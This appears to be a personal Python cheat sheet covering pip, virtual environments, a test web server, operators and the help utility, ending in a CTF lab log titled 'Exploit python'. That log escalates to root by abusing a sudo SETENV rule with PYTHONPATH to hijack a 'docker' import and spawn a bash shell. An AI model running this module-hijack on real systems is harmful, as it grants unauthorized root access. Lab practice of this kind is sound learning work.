python -m venv name_env : Create virtual environment 'name_env' python -m pip install --upgrade pip : Upgrade pip (a package manager for Python) python -m http.server 8080 -d /var/www/test : run an adhoc web server at localhost:8080
pip is a package manager for Python, which is installed by default since Python version 3.4.
pip install package_name : Install package_name pip uninstall package_name : Uninstall package_name pip install -r requirements.txt : install packages listed in requirements.txt file pip list : list all installed packages
78 / 10 # 7.8 : division 78 // 10 # 7 : integer division 78 % 10 : modulo
Generate GUID
PS C:\Users\Tuyen> python -c "import uuid ; print(uuid.uuid4())" 01fcc0fc-a620-4f13-9174-c26e3e292780 PS C:\Users\Tuyen>
Get Help
PS C:\Users\Tuyen> python Python 3.6.4 (v3.6.4:d48eceb, Dec 19 2017, 06:54:40) [MSC v.1900 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> help Type help() for interactive help, or help(object) for help about object. >>> help() Welcome to Python 3.6's help utility! If this is your first time using Python, you should definitely check out the tutorial on the Internet at http://docs.python.org/3.6/tutorial/. Enter the name of any module, keyword, or topic to get help on writing Python programs and using Python modules. To quit this help utility and return to the interpreter, just type "quit". To get a list of available modules, keywords, symbols, or topics, type "modules", "keywords", "symbols", or "topics". Each module also comes with a one-line summary of what it does; to list the modules whose name or summary contain a given string such as "spam", type "modules spam". help>
Install python-jwt module for python2 on Kali Linuz WSL
pip install -t /usr/local/lib/python2.7/dist-packages/ python-jwt
Exploit python
oliver@unbaked:~$ sudo -l
Matching Defaults entries for oliver on unbaked:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User oliver may run the following commands on unbaked:
(root) SETENV: NOPASSWD: /usr/bin/python /opt/dockerScript.py
oliver@unbaked:~$ cat /opt/dockerScript.py
import docker
# oliver, make sure to restart docker if it crashes or anything happened.
# i havent setup swap memory for it
# it is still in development, please dont let it live yet!!!
client = docker.from_env()
client.containers.run("python-django:latest", "sleep infinity", detach=True)
oliver@unbaked:~$ touch /tmp/docker.py
oliver@unbaked:~$ nano /tmp/docker.py
oliver@unbaked:~$ chmod +x /tmp/docker.py
oliver@unbaked:~$ cat /tmp/docker.py
import os
os.system("/bin/bash")
oliver@unbaked:~$
oliver@unbaked:~$ sudo PYTHONPATH=/tmp /usr/bin/python /opt/dockerScript.py
oliver@unbaked:~# id
uid=0(root) gid=0(root) groups=0(root)
oliver@unbaked:~# cat /root/root.txt
CONGRATS ON PWNING THIS BOX!
Created by ch4rm & H0j3n
ps: dont be mad us, we hope you learn something new
flag: THM{REDACTED}
oliver@unbaked:~#